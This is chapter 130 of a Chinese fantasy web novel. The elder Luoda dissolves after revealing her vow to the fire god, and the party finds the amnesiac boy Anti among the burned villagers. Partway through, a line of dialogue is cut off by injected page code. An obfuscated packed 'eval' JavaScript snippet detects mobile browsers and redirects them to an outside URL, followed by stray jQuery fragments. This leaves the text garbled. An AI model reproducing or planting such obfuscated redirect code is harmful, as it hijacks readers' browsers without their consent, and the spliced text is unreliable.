130. 130.誓言

作品:《再造骑士[西幻]

    兰琉斯将老妪一把拽开,杜瓶抚摸着泛红的脖子,她冷静地问道:“谁?我杀死了谁?”


    “珀沙摩尔!你杀死了祂!”


    杜瓶高声道:“祂早就死了!你们的神明,祂早就死了!”


    她苍老的面孔紧紧缩起,双目幽暗如雨,一些冰凉的液体顺着干枯的眼珠倾滑而下。


    她在哭泣,这个活了八百多岁的老人,正在她的神明的消亡而痛哭流涕。


    杜瓶缓声问道:“你就是当年的那个海盗之女洛妲吧?你与恒火之神之间发生过什么?祂为什么会延续你的生命,又为什么会突然消亡?”


    老人张开麻木的双瞳,“你又为何想要知道这些呢?”


    “我需要知道,这些跟我有什么关系!”杜瓶抿紧双唇,“就像你说的那些话,为什么我会有所谓的神性?为什么你认为我和别人融合可以诞生你所谓的神明?”


    “看来你看到了不少,也察觉到了不少,可告诉你又如何呢?”老人笑声沙哑,“领域正在迎来衰退,神明们皆已羸弱不堪,祂们拼命自保,互相吞噬,消亡的将不止珀沙摩尔一位神明——而你,终会回归领域。”


    杜瓶一怔。


    兰琉斯虽并不明白二人的对话,但望向杜瓶的目光中依然带着几分不安。


    杜瓶心神不宁地问道:“你先回答我,你到底是不是洛妲?”


    “那间屋子里已经写下了我的回答。”


    老人退入雨中,她苍白枯槁的头发忽然泛起了光亮,杜瓶眼睁睁看到那一头枯发在瞬间浓密,变为海藻般乌黑柔亮。


    她看着她的脸庞,原本树皮般枯皱的一张脸,原本布满烧痕与伤疤的一张丑陋的脸,在被雨水洗涤过后,忽然雪白光洁,美丽动人。


    她看到了一双明亮的钻蓝眼睛。


    “你,是洛妲。”


    杜瓶呼吸一窒。


    少女转身走入淋漓的大雨之中。


    “但你跟那本经书里写的不一样……”杜瓶摇头,“过去的你英勇善良,如今的你为何会变得如此疯狂呢?”


    “因为誓言。”


    少女站在雨中,朝杜瓶回过头,“我答应了祂——有朝一日,我将以救赎回报祂的救赎。”


    岁月在少女眼中唯余沧桑,但在这一刻,她的双眸忽然变得恬静而温柔,大雨掩盖了她纤细的身影,当三人走向少女时,发现地上只剩一地焦灰。


    杜瓶蹲下身,从那堆焦灰中,捡起一绺尚未烧尽的发丝,唯余淡淡幽香。


    *


    老村长就这样消失在了这个世界上,带着她身上数不清的谜团。


    恰好回到神殿,杜瓶便到自己居住的小屋子里,将床底的箱子拖出来,取出了被打回原形的法西嘉,他这会儿好像恢复了一点魔力,倏地一下,变回了人形。


    他叉着腰,正要对着杜瓶喋喋不休地痛斥一顿自己惨遭殴打的过程,扭头看到某个白头发的“假法西嘉”站在一旁,立刻闭上了嘴,躲在了杜瓶的身后小声蛐蛐。


    “走吧。”杜瓶对他说,“村长死了,你可以跟着我们离开这里了。”


    “死了?”法西嘉恍然一愣,“她死了?”


    “不然呢?”


    “怎么死的?她怎么会死呢?”法西嘉惊讶,“火神给予了她漫长的寿命。”


    杜瓶抬手指向窗外,那个巨大火炉的方位:“或许是因为那片神火被雨浇灭了吧?”


    “寻常的雨可灭不了那团火。”法西嘉拉开窗子,探出手,手指触碰到那冰凉的雨滴,立刻了然,“这是魔法之雨,这么庞大的水魔法运转系统——你们是怎么制造出来的?”


    “你与其问我们这个问题,倒不如先回答——你也知道村长是永生之人?”杜瓶抱着双臂,“你还知道什么?”


    法西嘉挠挠头:“当然知道,这个恒火村的人都知道。”


    “那你知道恒火之神为什么会为她延续寿命吗?”


    法西嘉抿起双唇,“反正我说了,你也不可能信,说实在的,我也不信。”


    “你先说。”


    “以前,那个老太婆会把我当成神明来祷告,所以,她告诉了我不少事情。”法西嘉双手抱着后脑勺,“你信神明会与凡人相爱吗?”


    杜瓶不可置信地摇头。


    “所以我说我说了你也不会信。”法西嘉耸肩,“她告诉我,她作为创教人,在和火神珀沙摩尔漫长的意识交融中,与其相爱了,领域衰退,分明珀沙摩尔自身的力量也在衰减,但祂仍然愿意为了她在凡间救济信徒,仍然愿意舍弃领域的能量与她互相依存,直到自身因为过于衰弱而被同阶的善水之神吞噬……甚至……”


    杜瓶思忖着,听到法西嘉停顿,抬头问道:“甚至什么?”


    “甚至,他们还孕育出了后代。”


    “这怎么可能呢!?”


    就连鲜少波动的兰琉斯都露出了与杜瓶同样惊讶的神情。


    法西嘉嘶了一声,“其实吧,我也不大信,但,你要是不信,那个女人又是怎么活了这么久的?要是不信,那个后代怎么会恰好是存在的呢?”


    “那个后代是谁?”


    杜瓶追问道。


    “这场神火威力巨大,能沐浴火焰而毫发无伤之人,就是神之后裔。”法西嘉讳莫如深地说道。


    几人离开神殿时,忽然发现马跑了,法西嘉抱怨杜瓶干嘛不好好栓绳子,然后被兰琉斯一脚踹飞。


    无论是小孩版的法西嘉还是长大版的法西嘉,似乎都与兰琉斯不太对付。


    没有马,几人只好徒步前行,艾娜受了伤,杜瓶便让兰琉斯背着她走路。


    把艾娜抱到兰琉斯背上的时候,杜瓶忽然发现,自己的手掌已经与兰琉斯的手完全分离了。


    虽然手掌边缘的肤色仍是暗沉的紫色,但这场恐怖的融合,总算是彻底结束了。


    接下来就是解决如何离开恒火村这个问题了,只是关于离开村子的传送阵在哪里,要如何启动,洛妲死之前却没有告诉几人。


    杜瓶说道:“先去供养屋看看吧,那里应该有不少人因为这场火受伤。”


    “乐观一点,搞不好已经全死了呢?”法西嘉欠兮兮地说着。


    杜瓶和兰琉斯背上的艾娜都瞪了他一眼。


    杜瓶眯缝起眼:“等出去,我就立马让你和残页融合,折腾了这么久,也该让你老实老实了。”


    “你这种强行融合我和残页的行为,与那个老太婆有什么区别?”


    杜瓶指着他道:“对你这种非人生物,我不需要有任何感情!同情也没有


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17172731|182661||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    !”


    两人一路叽叽喳喳地斗着嘴,等来到山林之中,走向那个巨大显眼的炉子,上方神火早已熄灭,雨水冲刷着黑色的方形火炉,草地上躺满了焦黑的尸体。


    这里的村民全死了,偌大的草地上没有一点生气。


    这里是距离火炉最近的地点,杜瓶并不意外,只是看着这一地焦尸的情景,她心中仍感沉重。


    一道道烟柱从炉子后方的尸体与焦树上升起,现在雨小了一些,就在杜瓶要带着几人赶紧去往供养屋时,从火炉后方传来几声窸窣的脚步声。


    在几人的注视之下,一个红发少年从炉子后方走了出来,他一瘸一拐,在看到地上铺满尸体后,浑身颤抖不已,眼中泪珠簌簌洒落。


    那个原本冷漠固执的少年,此刻满脸彷徨,像一个找不到回家的路的孩子,茫然地站在尸体之间。


    “安提?”


    他……没有死……


    杜瓶朝红发少年走去,她刚走到距离他只有一米远的位置,他便扑到了她身上,将她紧紧抱住,从喉咙中爆发出沙哑的呜咽,他啜泣不止。


    杜瓶回头,与法西嘉的目光交汇着,在此时,她仿佛明白了什么,却什么也没说出口。


    这少年抱着她,兰琉斯这个大醋包罕见地没有上前将他与她分开,雨丝打湿了少年的头发,直到他终于不哭了,抬起了迷惘的双眼。


    “安提,你还好吗?”杜瓶轻声问道。


    少年困惑眨了眨眼:“你是谁?”


    “嗯?”


    “安提,又是谁?”少年哑着声音问她。


    杜瓶惊讶地望着他,“你失忆了?”


    少年摇头,“我不知道……这里是哪里,这里为什么死了这么多人?”


    “你……你不是装的吧?”杜瓶拧着眉头。


    “我……不知道。”他再次摇摇头,“我什么都不记得了,我只记得火一直烧着,我很疼很疼,其他什么都不记得了。”


    法西嘉在后方悠悠开口:“什么都不记得也好,这大概,也算是珀沙摩尔留下的最后一个神迹了吧。”


    的确……关于恒火村,关于他的真实身份,对于现在的安提来说,什么都不记得是最好的。


    杜瓶仰头对他说道:“你叫安提,你的家乡已经毁灭了。”


    “家乡?”安提哀伤地说道,“他们都是我的亲人吗?”


    杜瓶摇摇头,又点点头:“算是吧。”


    “那以后我该去哪儿呢?”


    “离开这里后,你想去哪里都可以。”杜瓶朝他微微一笑。


    安提望着微笑的少女,他小心翼翼地说道:“我想跟着你。”


    “不行!”忍了半晌的大醋包兰琉斯终于忍不住了,冷声拒绝了安提的请求。


    “你可以跟着我们离开这里,但……没必要跟着我……”杜瓶干笑着,“我们都有自己的生活,有自己要做的事情,你有什么愿望之类的吗?”


    毕竟,安提再这么口不择言下去,兰琉斯应该要把他暗鲨了。


    安提看了冷若冰霜的兰琉斯一眼,朝杜瓶柔柔弱弱地说道:“可我的愿望就是跟着你。”


    身后升起腾腾杀气。


    杜瓶满脸抽搐。


    这下好了,不暗鲨了,要明鲨了。